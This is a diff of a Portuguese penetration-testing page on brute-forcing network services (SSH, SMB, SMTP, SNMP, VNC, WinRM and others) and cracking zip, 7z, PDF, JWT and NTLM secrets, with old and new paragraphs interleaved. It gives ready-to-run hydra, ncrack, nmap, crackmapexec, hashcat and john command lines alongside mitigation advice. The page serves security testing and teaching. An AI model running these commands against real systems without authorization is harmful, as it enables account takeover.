O Rlogin é um protocolo de rede que permite a um usuário se conectar a um servidor remoto usando autenticação baseada em senha. Ele é amplamente utilizado para acesso remoto a sistemas Unix-like.
|
||||
#### Ataques de força bruta contra o Rlogin
|
||||
|
||||
#### Técnica de Força Bruta
|
||||
Um ataque de força bruta é uma técnica comum usada para comprometer senhas fracas ou previsíveis. No contexto do Rlogin, um ataque de força bruta envolve tentar todas as combinações possíveis de senhas até encontrar a correta.
|
||||
|
||||
A técnica de força bruta é um método utilizado para quebrar senhas através da tentativa de todas as combinações possíveis até encontrar a senha correta. No contexto do Rlogin, um atacante pode usar a técnica de força bruta para tentar adivinhar a senha de um usuário remoto.
|
||||
Existem várias ferramentas disponíveis para realizar ataques de força bruta contra o Rlogin. Essas ferramentas automatizam o processo de tentar várias senhas em uma velocidade muito alta, permitindo que os hackers encontrem senhas fracas ou previsíveis com mais facilidade.
|
||||
|
||||
#### Ferramentas e Recursos
|
||||
#### Mitigação de ataques de força bruta
|
||||
|
||||
Existem várias ferramentas e recursos disponíveis para realizar ataques de força bruta no Rlogin. Alguns exemplos incluem:
|
||||
Para proteger sistemas contra ataques de força bruta contra o Rlogin, é importante implementar medidas de segurança adequadas. Aqui estão algumas práticas recomendadas:
|
||||
|
||||
- Hydra: uma ferramenta de força bruta que suporta vários protocolos, incluindo Rlogin.
|
||||
- Medusa: uma ferramenta de força bruta e rastreamento de senha que também suporta o protocolo Rlogin.
|
||||
- John the Ripper: uma ferramenta de quebra de senha que pode ser usada para realizar ataques de força bruta no Rlogin.
|
||||
- Use senhas fortes e exclusivas para cada conta de usuário.
|
||||
- Implemente políticas de senha que exijam senhas complexas e regulares alterações de senha.
|
||||
- Limite o número de tentativas de login permitidas antes de bloquear temporariamente a conta.
|
||||
- Monitore e registre atividades suspeitas de login.
|
||||
- Considere a implementação de autenticação de dois fatores para adicionar uma camada extra de segurança.
|
||||
|
||||
É importante ressaltar que o uso de ferramentas de força bruta para acessar sistemas sem autorização é ilegal e antiético. Essas ferramentas devem ser usadas apenas para fins legítimos, como testes de penetração autorizados.
|
||||
Ao seguir essas práticas recomendadas, é possível reduzir significativamente o risco de um ataque de força bruta bem-sucedido contra o Rlogin.
|
||||
```bash
|
||||
hydra -l <username> -P <password_file> rlogin://<Victim-IP> -v -V
|
||||
```
|
||||
|
@ -661,11 +675,13 @@ hydra -L <Username_list> rsh://<Victim_IP> -v -V
|
|||
|
||||
### Rsync
|
||||
|
||||
Rsync é um protocolo de transferência de arquivos amplamente utilizado que permite a sincronização eficiente de dados entre sistemas. Ele é comumente usado para fazer backup de arquivos, espelhar diretórios e transferir dados pela rede. O Rsync usa uma abordagem incremental para transferir apenas as partes modificadas de um arquivo, o que o torna rápido e eficiente em termos de largura de banda.
|
||||
Rsync é uma ferramenta de sincronização de arquivos amplamente utilizada que permite transferir e sincronizar dados entre sistemas remotos. É especialmente útil para fazer backup de arquivos e espelhar diretórios entre servidores.
|
||||
|
||||
No contexto de hacking, o Rsync pode ser explorado para realizar ataques de força bruta. Um ataque de força bruta envolve tentar todas as combinações possíveis de senhas até encontrar a correta. Ao usar ferramentas como o Rsh-grind, os hackers podem automatizar esse processo e tentar várias senhas em uma velocidade muito alta.
|
||||
No contexto de hacking, o Rsync pode ser explorado para realizar ataques de força bruta. Um ataque de força bruta é uma técnica em que um hacker tenta adivinhar a senha correta de um sistema testando todas as combinações possíveis até encontrar a correta.
|
||||
|
||||
É importante ressaltar que a realização de ataques de força bruta é ilegal e antiética, a menos que seja feito com permissão explícita do proprietário do sistema-alvo para fins de teste de segurança.
|
||||
O Rsync pode ser alvo de ataques de força bruta devido à sua implementação de autenticação baseada em senha. Os hackers podem usar ferramentas como o rsh-grind para automatizar o processo de tentativa de várias senhas em uma velocidade muito rápida.
|
||||
|
||||
É importante ressaltar que realizar ataques de força bruta é ilegal e antiético, a menos que seja feito com permissão explícita do proprietário do sistema alvo para fins de teste de segurança.
|
||||
```bash
|
||||
nmap -sV --script rsync-brute --script-args userdb=/var/usernames.txt,passdb=/var/passwords.txt -p 873 <IP>
|
||||
```
|
||||
|
@ -681,13 +697,15 @@ A autenticação de força bruta é uma técnica comum usada por hackers para ob
|
|||
```bash
|
||||
hydra -l root -P passwords.txt <IP> rtsp
|
||||
```
|
||||
O SNMP (Simple Network Management Protocol) é um protocolo amplamente utilizado para gerenciamento de redes. Ele permite que os dispositivos de rede sejam monitorados e controlados de forma centralizada. O SNMP opera em uma arquitetura cliente-servidor, onde os dispositivos de rede são os agentes SNMP e o sistema de gerenciamento de rede é o gerente SNMP.
|
||||
O SNMP (Simple Network Management Protocol) é um protocolo amplamente utilizado para gerenciamento de redes. Ele permite que os administradores monitorem e gerenciem dispositivos de rede, como roteadores, switches e servidores.
|
||||
|
||||
O SNMP usa uma variedade de mensagens para trocar informações entre o agente SNMP e o gerente SNMP. Essas mensagens incluem solicitações de leitura, solicitações de gravação e notificações de eventos. O SNMP também usa uma estrutura de gerenciamento de informações chamada MIB (Management Information Base), que define os objetos gerenciados pelos dispositivos de rede.
|
||||
Uma técnica comum de ataque é o brute force, que envolve tentar todas as combinações possíveis de senhas até encontrar a correta. No contexto do SNMP, um ataque de brute force pode ser usado para tentar adivinhar a senha de acesso a um dispositivo SNMP.
|
||||
|
||||
Uma técnica comum de hacking relacionada ao SNMP é a força bruta. A força bruta envolve tentar todas as combinações possíveis de senhas até encontrar a correta. Isso é feito usando ferramentas automatizadas que testam várias senhas em um curto período de tempo. A força bruta pode ser usada para tentar obter acesso não autorizado aos dispositivos de rede que usam o SNMP.
|
||||
Existem várias ferramentas disponíveis para realizar ataques de brute force no SNMP. Essas ferramentas automatizam o processo de tentar várias senhas em um curto período de tempo, aumentando as chances de sucesso do ataque.
|
||||
|
||||
Para proteger os dispositivos de rede contra ataques de força bruta SNMP, é importante implementar medidas de segurança adequadas. Isso inclui o uso de senhas fortes e complexas, a configuração correta das permissões de acesso e a implementação de mecanismos de bloqueio após várias tentativas de login malsucedidas. Além disso, é recomendável monitorar regularmente os logs do SNMP em busca de atividades suspeitas.
|
||||
Para proteger-se contra ataques de brute force no SNMP, é importante seguir boas práticas de segurança, como usar senhas fortes e complexas, implementar bloqueio de conta após várias tentativas falhas e monitorar os logs de acesso ao dispositivo.
|
||||
|
||||
Além disso, é recomendável usar uma solução de gerenciamento de rede que ofereça recursos avançados de segurança, como detecção de ataques de brute force e alertas em tempo real. Isso ajudará a identificar e responder rapidamente a qualquer atividade suspeita em sua rede.
|
||||
```bash
|
||||
msf> use auxiliary/scanner/snmp/snmp_login
|
||||
nmap -sU --script snmp-brute <target> [--script-args snmp-brute.communitiesdb=<wordlist> ]
|
||||
|
@ -696,65 +714,65 @@ hydra -P /usr/share/seclists/Discovery/SNMP/common-snmp-community-strings.txt ta
|
|||
```
|
||||
### SMB
|
||||
|
||||
O SMB (Server Message Block) é um protocolo de compartilhamento de arquivos e impressoras usado em redes locais do Windows. Ele permite que os usuários acessem e compartilhem recursos, como arquivos e impressoras, em uma rede. O SMB também é usado para comunicação entre computadores em uma rede, permitindo a transferência de arquivos e o acesso remoto a recursos compartilhados.
|
||||
O SMB (Server Message Block) é um protocolo de compartilhamento de arquivos e impressoras usado em redes locais do Windows. Ele permite que os usuários acessem e compartilhem recursos, como arquivos e impressoras, em uma rede. O SMB também é usado para comunicação entre computadores em uma rede, permitindo a transferência de arquivos e o acesso a serviços de rede.
|
||||
|
||||
#### Ataques de Força Bruta contra o SMB
|
||||
#### Ataques de Força Bruta
|
||||
|
||||
Um ataque de força bruta contra o SMB envolve tentar adivinhar as credenciais de autenticação de um usuário, testando várias combinações de nomes de usuário e senhas até encontrar a combinação correta. Esse tipo de ataque pode ser usado para obter acesso não autorizado a recursos compartilhados ou para comprometer a segurança de uma rede.
|
||||
Um ataque de força bruta é uma técnica usada para descobrir senhas ou chaves criptográficas adivinhando todas as combinações possíveis até encontrar a correta. No contexto do SMB, um ataque de força bruta pode ser usado para tentar adivinhar a senha de uma conta de usuário ou de um recurso compartilhado.
|
||||
|
||||
Existem várias ferramentas disponíveis para realizar ataques de força bruta contra o SMB, como o Hydra e o Medusa. Essas ferramentas automatizam o processo de tentativa de várias combinações de credenciais em um curto período de tempo, aumentando as chances de sucesso do ataque.
|
||||
Existem várias ferramentas disponíveis para realizar ataques de força bruta no SMB, como o Hydra e o Medusa. Essas ferramentas automatizam o processo de adivinhar senhas, testando várias combinações em um curto período de tempo.
|
||||
|
||||
Para proteger-se contra ataques de força bruta contra o SMB, é importante implementar medidas de segurança, como políticas de senha fortes, bloqueio de contas após várias tentativas de login malsucedidas e monitoramento de atividades suspeitas na rede. Além disso, manter o software e os sistemas operacionais atualizados com as últimas correções de segurança pode ajudar a mitigar os riscos associados a esses ataques.
|
||||
Para proteger-se contra ataques de força bruta no SMB, é importante usar senhas fortes e complexas, que sejam difíceis de adivinhar. Além disso, é recomendável implementar medidas de segurança adicionais, como bloqueio de contas após várias tentativas de login malsucedidas e monitoramento de atividades suspeitas na rede.
|
||||
```bash
|
||||
nmap --script smb-brute -p 445 <IP>
|
||||
hydra -l Administrator -P words.txt 192.168.1.12 smb -t 1
|
||||
```
|
||||
### SMTP
|
||||
|
||||
O Simple Mail Transfer Protocol (SMTP) é um protocolo de comunicação utilizado para enviar e receber e-mails. Ele é amplamente utilizado na comunicação de servidores de e-mail e fornece um método padrão para a transferência de mensagens de e-mail pela Internet.
|
||||
O Simple Mail Transfer Protocol (SMTP) é um protocolo de comunicação utilizado para enviar e receber e-mails. Ele é amplamente utilizado na comunicação de servidores de e-mail e permite que os usuários enviem mensagens de e-mail para destinatários em todo o mundo.
|
||||
|
||||
O SMTP é baseado em texto e opera na porta 25. Ele segue uma série de comandos e respostas entre o cliente de e-mail e o servidor de e-mail para enviar e receber mensagens. Alguns dos comandos mais comuns incluem HELO (para iniciar a comunicação), MAIL FROM (para especificar o remetente), RCPT TO (para especificar o destinatário) e DATA (para enviar o conteúdo da mensagem).
|
||||
O SMTP é baseado em texto e funciona através de uma série de comandos e respostas entre o cliente de e-mail e o servidor de e-mail. O cliente de e-mail envia comandos para o servidor de e-mail, como "HELO" (para iniciar a comunicação), "MAIL FROM" (para especificar o remetente do e-mail) e "RCPT TO" (para especificar o destinatário do e-mail). O servidor de e-mail responde a esses comandos com códigos de status que indicam se o comando foi executado com sucesso ou se ocorreu algum erro.
|
||||
|
||||
Devido à sua natureza baseada em texto, o SMTP pode ser alvo de ataques de força bruta. Um ataque de força bruta envolve tentar todas as combinações possíveis de senhas ou nomes de usuário para obter acesso não autorizado a uma conta de e-mail. Os hackers podem usar ferramentas automatizadas para realizar ataques de força bruta em servidores SMTP, tentando várias combinações de senhas até encontrar a correta.
|
||||
Um método comum de ataque cibernético é a força bruta no SMTP, onde um hacker tenta adivinhar as credenciais de login de um servidor de e-mail através de tentativas repetidas de combinações de nomes de usuário e senhas. Isso pode ser feito usando ferramentas automatizadas que testam várias combinações em um curto período de tempo.
|
||||
|
||||
Para proteger um servidor SMTP contra ataques de força bruta, é importante implementar medidas de segurança, como limitar o número de tentativas de login, usar senhas fortes e implementar autenticação de dois fatores. Além disso, é recomendável monitorar os logs do servidor para detectar atividades suspeitas e bloquear endereços IP que estejam realizando tentativas repetidas de login.
|
||||
|
||||
Em resumo, o SMTP é um protocolo essencial para a comunicação de e-mails, mas também pode ser vulnerável a ataques de força bruta. É importante implementar medidas de segurança adequadas para proteger os servidores SMTP contra esses ataques.
|
||||
Para proteger um servidor de e-mail contra ataques de força bruta, é importante implementar medidas de segurança, como a configuração de políticas de bloqueio de contas após um número específico de tentativas de login malsucedidas, o uso de senhas fortes e a implementação de autenticação em dois fatores. Além disso, é recomendável manter o software do servidor de e-mail atualizado para corrigir quaisquer vulnerabilidades conhecidas.
|
||||
```bash
|
||||
hydra -l <username> -P /path/to/passwords.txt <IP> smtp -V
|
||||
hydra -l <username> -P /path/to/passwords.txt -s 587 <IP> -S -v -V #Port 587 for SMTP with SSL
|
||||
```
|
||||
SOCKS (Socket Secure) is a protocol that allows for the secure transmission of network packets between a client and a server through a proxy server. It operates at the transport layer of the OSI model and can be used for various purposes, including bypassing network restrictions and anonymizing internet traffic.
|
||||
SOCKS (Socket Secure) é um protocolo de rede que permite a comunicação entre um cliente e um servidor através de um proxy. O SOCKS atua como um intermediário entre o cliente e o servidor, permitindo que o cliente envie solicitações para o servidor por meio do proxy. Isso pode ser útil para ocultar o endereço IP real do cliente e contornar restrições de rede.
|
||||
|
||||
### Brute Force Attack
|
||||
#### Ataques de Força Bruta com SOCKS
|
||||
|
||||
A brute force attack is a method used by hackers to gain unauthorized access to a system or account by systematically trying all possible combinations of passwords or encryption keys until the correct one is found. This method relies on the assumption that the password or key is weak and can be easily guessed through trial and error.
|
||||
Um ataque de força bruta é uma técnica usada para descobrir senhas ou chaves criptográficas adivinhando repetidamente combinações possíveis até encontrar a correta. Com o uso de um servidor SOCKS, um atacante pode realizar ataques de força bruta de forma mais eficiente, pois pode distribuir a carga de trabalho entre vários proxies SOCKS.
|
||||
|
||||
Brute force attacks can be time-consuming and resource-intensive, especially when dealing with complex passwords or encryption algorithms. However, they can be effective against systems with weak security measures in place.
|
||||
Existem várias ferramentas disponíveis para realizar ataques de força bruta com SOCKS, como Hydra e Medusa. Essas ferramentas permitem que o atacante especifique uma lista de senhas ou chaves possíveis e automatizem o processo de tentativa e erro.
|
||||
|
||||
To protect against brute force attacks, it is important to use strong and unique passwords, implement account lockout policies, and employ additional security measures such as two-factor authentication.
|
||||
É importante ressaltar que a realização de ataques de força bruta é ilegal e antiética, a menos que seja feito com permissão explícita do proprietário do sistema-alvo para fins de teste de segurança.
|
||||
```bash
|
||||
nmap -vvv -sCV --script socks-brute --script-args userdb=users.txt,passdb=/usr/share/seclists/Passwords/xato-net-10-million-passwords-1000000.txt,unpwndb.timelimit=30m -p 1080 <IP>
|
||||
```
|
||||
### SSH
|
||||
|
||||
SSH (Secure Shell) é um protocolo de rede criptografado que permite a comunicação segura entre dois sistemas. É comumente usado para acessar remotamente servidores e dispositivos de rede. O SSH fornece autenticação forte e criptografia de dados, tornando-o uma opção segura para administradores de sistemas e hackers éticos.
|
||||
SSH (Secure Shell) é um protocolo de rede criptografado que permite a comunicação segura entre dois sistemas. É comumente usado para acessar e controlar servidores remotos de forma segura. O SSH utiliza criptografia assimétrica para autenticar e proteger a comunicação, garantindo a confidencialidade e integridade dos dados transmitidos.
|
||||
|
||||
#### Força Bruta SSH
|
||||
|
||||
A força bruta SSH é uma técnica usada para descobrir senhas de contas SSH por meio de tentativas repetidas de login. Um atacante usa um programa automatizado para tentar várias combinações de senhas até encontrar a correta. Isso pode ser feito usando uma lista de senhas comuns ou gerando senhas aleatórias.
|
||||
A força bruta SSH é uma técnica usada para descobrir senhas de acesso a servidores SSH por meio de tentativas repetidas de combinações de senhas. Essa técnica envolve o uso de programas automatizados que tentam todas as combinações possíveis de senhas até encontrar a correta.
|
||||
|
||||
Embora a força bruta SSH possa ser eficaz contra senhas fracas, ela é geralmente ineficiente contra senhas fortes e protegidas. Para evitar ataques de força bruta SSH, é recomendável usar senhas longas e complexas, além de implementar medidas adicionais de segurança, como autenticação de dois fatores ou chaves SSH.
|
||||
Embora a força bruta SSH possa ser eficaz contra senhas fracas, ela é geralmente ineficiente contra senhas fortes e sistemas que implementam medidas de segurança adicionais, como bloqueio de IP após várias tentativas falhas.
|
||||
|
||||
#### Ferramentas de Força Bruta SSH
|
||||
#### Mitigação da Força Bruta SSH
|
||||
|
||||
Existem várias ferramentas disponíveis para realizar ataques de força bruta SSH. Algumas das ferramentas populares incluem:
|
||||
Existem várias medidas que podem ser tomadas para mitigar o risco de ataques de força bruta SSH:
|
||||
|
||||
- Hydra: uma ferramenta de força bruta de código aberto que suporta vários protocolos, incluindo SSH.
|
||||
- Medusa: uma ferramenta de força bruta rápida e modular que pode ser usada para atacar vários serviços, incluindo SSH.
|
||||
- Ncrack: uma ferramenta de autenticação em rede de código aberto que suporta vários protocolos, incluindo SSH.
|
||||
- Use senhas fortes: escolha senhas longas e complexas que sejam difíceis de adivinhar.
|
||||
- Implemente autenticação de dois fatores (2FA): adicione uma camada extra de segurança exigindo um segundo fator de autenticação, como um código gerado por um aplicativo de autenticação ou um token físico.
|
||||
- Limite as tentativas de login: configure seu servidor SSH para bloquear temporariamente endereços IP após um número específico de tentativas falhas de login.
|
||||
- Use chaves SSH: em vez de senhas, use chaves SSH para autenticação. As chaves SSH são mais seguras e não podem ser quebradas por ataques de força bruta.
|
||||
- Monitore os logs de autenticação: verifique regularmente os logs de autenticação do servidor SSH em busca de atividades suspeitas ou tentativas de login mal-sucedidas.
|
||||
|
||||
É importante ressaltar que o uso dessas ferramentas para fins ilegais é estritamente proibido e pode resultar em consequências legais graves. Essas ferramentas devem ser usadas apenas para fins educacionais ou em testes de segurança autorizados.
|
||||
Ao implementar essas medidas de segurança, você pode reduzir significativamente o risco de um ataque bem-sucedido de força bruta SSH em seu servidor.
|
||||
```bash
|
||||
hydra -l root -P passwords.txt [-t 32] <IP> ssh
|
||||
ncrack -p 22 --user root -P passwords.txt <IP> [-T 5]
|
||||
|
@ -780,11 +798,9 @@ Telnet is a clear-text protocol, which means that all communication between the
|
|||
|
||||
Brute-forcing Telnet involves systematically trying different combinations of usernames and passwords until the correct credentials are found. This method relies on the assumption that the target device has weak or default login credentials.
|
||||
|
||||
To perform a Telnet brute-force attack, hackers use automated tools that can rapidly try thousands of username and password combinations. These tools often leverage dictionaries or wordlists containing commonly used or default credentials.
|
||||
To perform a Telnet brute-force attack, you can use various tools and scripts that automate the process of trying different username and password combinations. These tools typically have built-in dictionaries of common usernames and passwords, as well as the ability to generate custom wordlists.
|
||||
|
||||
It is important to note that brute-forcing Telnet is an illegal activity unless you have explicit permission from the owner of the target device. Unauthorized brute-forcing can result in legal consequences.
|
||||
|
||||
To protect against Telnet brute-force attacks, it is recommended to disable Telnet and use more secure protocols, such as SSH (Secure Shell), which encrypts the communication between the client and the server. Additionally, using strong and unique passwords can help prevent unauthorized access to network devices.
|
||||
It is important to note that brute-forcing Telnet or any other service without proper authorization is illegal and unethical. It is only acceptable to perform such activities as part of a legitimate penetration testing engagement with the explicit permission of the target organization.
|
||||
```bash
|
||||
hydra -l root -P passwords.txt [-t 32] <IP> telnet
|
||||
ncrack -p 23 --user root -P passwords.txt <IP> [-T 5]
|
||||
|
@ -804,11 +820,10 @@ Para proteger um servidor VNC contra ataques de força bruta, é importante segu
|
|||
|
||||
- Usar senhas fortes e complexas que sejam difíceis de adivinhar.
|
||||
- Implementar bloqueio de conta após um número específico de tentativas de login malsucedidas.
|
||||
- Utilizar autenticação de dois fatores para adicionar uma camada extra de segurança.
|
||||
- Limitar o acesso ao servidor VNC apenas a endereços IP confiáveis.
|
||||
- Utilizar uma VPN ou firewall para restringir o acesso ao servidor VNC apenas a endereços IP confiáveis.
|
||||
- Manter o software VNC atualizado com as últimas correções de segurança.
|
||||
|
||||
Ao realizar testes de penetração em um servidor VNC, é importante obter permissão explícita do proprietário do sistema antes de realizar qualquer atividade de hacking. O uso não autorizado de técnicas de hacking pode resultar em consequências legais graves.
|
||||
Ao realizar testes de penetração em um servidor VNC, é importante obter permissão explícita do proprietário do sistema antes de realizar qualquer atividade de hacking. O uso não autorizado de técnicas de força bruta pode ser ilegal e sujeito a penalidades legais.
|
||||
```bash
|
||||
hydra -L /root/Desktop/user.txt –P /root/Desktop/pass.txt -s <PORT> <IP> vnc
|
||||
medusa -h <IP> –u root -P /root/Desktop/pass.txt –M vnc
|
||||
|
@ -836,16 +851,17 @@ Para proteger-se contra ataques de força bruta no Winrm, é importante implemen
|
|||
```bash
|
||||
crackmapexec winrm <IP> -d <Domain Name> -u usernames.txt -p passwords.txt
|
||||
```
|
||||
<figure><img src="../.gitbook/assets/image (3) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (3) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Use [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) para construir e automatizar facilmente fluxos de trabalho com as ferramentas comunitárias mais avançadas do mundo.
|
||||
\
|
||||
Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir e automatizar facilmente fluxos de trabalho com as ferramentas comunitárias mais avançadas do mundo.\
|
||||
Acesse hoje mesmo:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
||||
## Local
|
||||
|
||||
### Bancos de dados de quebra de senha online
|
||||
### Bancos de dados de quebra online
|
||||
|
||||
* [~~http://hashtoolkit.com/reverse-hash?~~](http://hashtoolkit.com/reverse-hash?) (MD5 e SHA1)
|
||||
* [https://www.onlinehashcrack.com/](https://www.onlinehashcrack.com) (Hashes, capturas WPA2 e arquivos MSOffice, ZIP, PDF...)
|
||||
|
@ -876,9 +892,9 @@ john zip.john
|
|||
hashcat.exe -m 13600 -a 0 .\hashzip.txt .\wordlists\rockyou.txt
|
||||
.\hashcat.exe -m 13600 -i -a 0 .\hashzip.txt #Incremental attack
|
||||
```
|
||||
#### Ataque de força bruta com texto conhecido em arquivos zip
|
||||
#### Ataque de texto simples conhecido em arquivos zip
|
||||
|
||||
Você precisa conhecer o **texto em claro** (ou parte do texto em claro) **de um arquivo contido dentro** do zip criptografado. Você pode verificar **os nomes de arquivos e o tamanho dos arquivos contidos** em um zip criptografado executando: **`7z l encrypted.zip`**\
|
||||
Você precisa conhecer o **texto simples** (ou parte do texto simples) **de um arquivo contido dentro** do zip criptografado. Você pode verificar **os nomes de arquivo e o tamanho dos arquivos contidos dentro** de um zip criptografado executando: **`7z l encrypted.zip`**\
|
||||
Baixe o [**bkcrack**](https://github.com/kimci86/bkcrack/releases/tag/v1.4.0) na página de lançamentos.
|
||||
```bash
|
||||
# You need to create a zip file containing only the file that is inside the encrypted zip
|
||||
|
@ -909,7 +925,7 @@ Ao realizar um ataque de força bruta no formato 7z, é importante ter em mente
|
|||
|
||||
- **Regras de transformação**: Essas regras definem transformações que podem ser aplicadas às palavras do dicionário de senhas. Por exemplo, substituir letras por números ou adicionar caracteres especiais. Isso aumenta a variedade de combinações a serem testadas.
|
||||
|
||||
- **Recursos de processamento**: Ataques de força bruta podem ser intensivos em termos de recursos de processamento. É importante ter em mente a capacidade de processamento disponível e ajustar as configurações da ferramenta de ataque de acordo.
|
||||
- **Recursos de processamento**: Ataques de força bruta podem ser intensivos em termos de recursos de processamento. É importante ter em mente a capacidade de processamento disponível e ajustar as configurações do ataque de acordo.
|
||||
|
||||
#### Mitigação de ataques de força bruta
|
||||
|
||||
|
@ -923,7 +939,7 @@ Para proteger arquivos compactados no formato 7z contra ataques de força bruta,
|
|||
|
||||
- **Monitoramento de atividades suspeitas**: Fique atento a atividades suspeitas, como múltiplas tentativas de acesso ao arquivo compactado. Isso pode indicar um ataque em andamento.
|
||||
|
||||
Ao implementar essas práticas de segurança, é possível reduzir significativamente o risco de um ataque de força bruta bem-sucedido em arquivos compactados no formato 7z.
|
||||
Ao implementar essas medidas de segurança, é possível reduzir significativamente o risco de um ataque de força bruta bem-sucedido em arquivos compactados no formato 7z.
|
||||
```bash
|
||||
cat /usr/share/wordlists/rockyou.txt | 7za t backup.7z
|
||||
```
|
||||
|
@ -936,28 +952,17 @@ apt-get install libcompress-raw-lzma-perl
|
|||
```
|
||||
# Força Bruta
|
||||
|
||||
A técnica de força bruta é um método comum usado por hackers para obter acesso não autorizado a sistemas ou contas protegidas por senha. Nesse método, o hacker tenta todas as combinações possíveis de senhas até encontrar a correta.
|
||||
A técnica de força bruta é um método comum usado por hackers para obter acesso não autorizado a sistemas ou contas. Nesse método, o hacker tenta todas as combinações possíveis de senhas até encontrar a correta.
|
||||
|
||||
## Como funciona a força bruta?
|
||||
Embora seja uma técnica simples, a força bruta pode ser eficaz se a senha for fraca ou se o sistema não tiver medidas de segurança adequadas para detectar e bloquear tentativas repetidas de login.
|
||||
|
||||
A força bruta envolve a tentativa de todas as combinações possíveis de senhas até que a senha correta seja encontrada. Isso é feito usando programas automatizados que testam várias combinações em uma taxa muito alta.
|
||||
Existem várias ferramentas disponíveis para realizar ataques de força bruta, como o Hydra e o Medusa. Essas ferramentas automatizam o processo de tentativa de login, permitindo que o hacker teste várias combinações de senhas em um curto período de tempo.
|
||||
|
||||
## Ferramentas de força bruta
|
||||
Para proteger-se contra ataques de força bruta, é importante usar senhas fortes e complexas, que sejam difíceis de adivinhar. Além disso, é recomendável implementar medidas de segurança, como bloqueio de contas após um número específico de tentativas de login malsucedidas.
|
||||
|
||||
Existem várias ferramentas disponíveis para realizar ataques de força bruta. Algumas das ferramentas populares incluem Hydra, Medusa e John the Ripper. Essas ferramentas são altamente configuráveis e podem ser usadas para atacar uma variedade de sistemas e serviços.
|
||||
Os administradores de sistemas também podem usar ferramentas de detecção de ataques de força bruta para monitorar e identificar atividades suspeitas. Essas ferramentas podem ajudar a identificar padrões de ataque e bloquear automaticamente endereços IP ou contas que estão realizando tentativas de força bruta.
|
||||
|
||||
## Mitigação de ataques de força bruta
|
||||
|
||||
Existem várias medidas que podem ser tomadas para mitigar ataques de força bruta. Alguns exemplos incluem:
|
||||
|
||||
- Implementar políticas de senha fortes que exijam senhas complexas e de comprimento adequado.
|
||||
- Bloquear temporariamente contas após um número específico de tentativas de login malsucedidas.
|
||||
- Implementar autenticação de dois fatores para adicionar uma camada extra de segurança.
|
||||
- Monitorar e registrar atividades suspeitas de login para identificar padrões de ataque.
|
||||
|
||||
## Conclusão
|
||||
|
||||
A técnica de força bruta é uma abordagem comum usada por hackers para obter acesso não autorizado a sistemas protegidos por senha. É importante implementar medidas de segurança adequadas para mitigar esses ataques e proteger as contas e sistemas contra invasões.
|
||||
Em resumo, a técnica de força bruta é uma abordagem comum usada por hackers para obter acesso não autorizado a sistemas ou contas. É importante tomar medidas de segurança adequadas para proteger-se contra ataques de força bruta e implementar ferramentas de detecção para identificar e bloquear atividades suspeitas.
|
||||
```bash
|
||||
apt-get install pdfcrack
|
||||
pdfcrack encrypted.pdf -w /usr/share/wordlists/rockyou.txt
|
||||
|
@ -984,29 +989,31 @@ john jwt.john #It does not work with Kali-John
|
|||
```
|
||||
### Quebra de NTLM
|
||||
|
||||
A quebra de NTLM é uma técnica utilizada para descobrir senhas de hashes NTLM. O NTLM é um protocolo de autenticação utilizado pelo Windows para verificar a identidade dos usuários. Ao quebrar o hash NTLM, um hacker pode obter acesso não autorizado a contas protegidas por senhas fracas.
|
||||
A quebra de NTLM é uma técnica utilizada para descobrir senhas de hashes NTLM. O NTLM é um protocolo de autenticação utilizado pelo Windows para autenticar usuários em uma rede. Ao obter um hash NTLM, é possível realizar a quebra utilizando a técnica de força bruta.
|
||||
|
||||
Existem várias ferramentas disponíveis para realizar a quebra de NTLM, como o Hashcat e o John the Ripper. Essas ferramentas utilizam a força bruta, que é um método de ataque que tenta todas as combinações possíveis de caracteres até encontrar a senha correta.
|
||||
A quebra de NTLM por força bruta envolve a tentativa de todas as combinações possíveis de caracteres para descobrir a senha correspondente ao hash. Isso é feito através de programas ou scripts que automatizam o processo de tentativa e erro.
|
||||
|
||||
A quebra de NTLM pode ser realizada localmente, onde o hacker tem acesso ao hash NTLM, ou remotamente, onde o hacker obtém o hash NTLM de um servidor ou serviço. Em ambos os casos, é importante utilizar senhas fortes e complexas para evitar a quebra do hash NTLM.
|
||||
Existem várias ferramentas disponíveis para realizar a quebra de NTLM, como o John the Ripper e o Hashcat. Essas ferramentas utilizam dicionários de senhas e regras de combinação para acelerar o processo de quebra.
|
||||
|
||||
É importante ressaltar que a quebra de NTLM é uma atividade ilegal e deve ser realizada apenas com permissão explícita do proprietário do sistema. A quebra de senhas sem autorização é considerada uma violação da lei e pode resultar em penalidades legais.
|
||||
É importante ressaltar que a quebra de NTLM por força bruta pode ser um processo demorado, especialmente se a senha for complexa e longa. Portanto, é recomendado utilizar senhas fortes e implementar medidas de segurança adicionais, como o uso de autenticação em dois fatores, para proteger as contas e os sistemas contra ataques de quebra de senha.
|
||||
```bash
|
||||
Format:USUARIO:ID:HASH_LM:HASH_NT:::
|
||||
john --wordlist=/usr/share/wordlists/rockyou.txt --format=NT file_NTLM.hashes
|
||||
hashcat -a 0 -m 1000 --username file_NTLM.hashes /usr/share/wordlists/rockyou.txt --potfile-path salida_NT.pot
|
||||
```
|
||||
# Keepass
|
||||
### Keepass
|
||||
|
||||
O Keepass é um gerenciador de senhas de código aberto que permite armazenar e gerenciar com segurança todas as suas senhas em um único local. Ele usa criptografia forte para proteger suas informações confidenciais e oferece recursos como geração de senhas aleatórias e preenchimento automático de formulários.
|
||||
O Keepass é um gerenciador de senhas de código aberto que permite armazenar e gerenciar com segurança todas as suas senhas em um único local. Ele usa criptografia forte para proteger suas informações confidenciais e oferece recursos como a geração automática de senhas fortes e a capacidade de organizar suas senhas em categorias.
|
||||
|
||||
Uma das técnicas comuns de ataque contra o Keepass é a força bruta, onde um invasor tenta adivinhar a senha correta testando várias combinações possíveis. Para proteger sua senha contra ataques de força bruta, é importante escolher uma senha forte e complexa, que seja difícil de adivinhar.
|
||||
O Keepass também possui uma função de preenchimento automático que permite preencher automaticamente os campos de login em sites e aplicativos, facilitando o acesso rápido e seguro às suas contas online.
|
||||
|
||||
Além disso, você pode aumentar a segurança do Keepass usando recursos como bloqueio de conta após várias tentativas de login malsucedidas e a configuração de um tempo de espera entre as tentativas de login. Essas medidas podem ajudar a proteger suas senhas contra ataques de força bruta.
|
||||
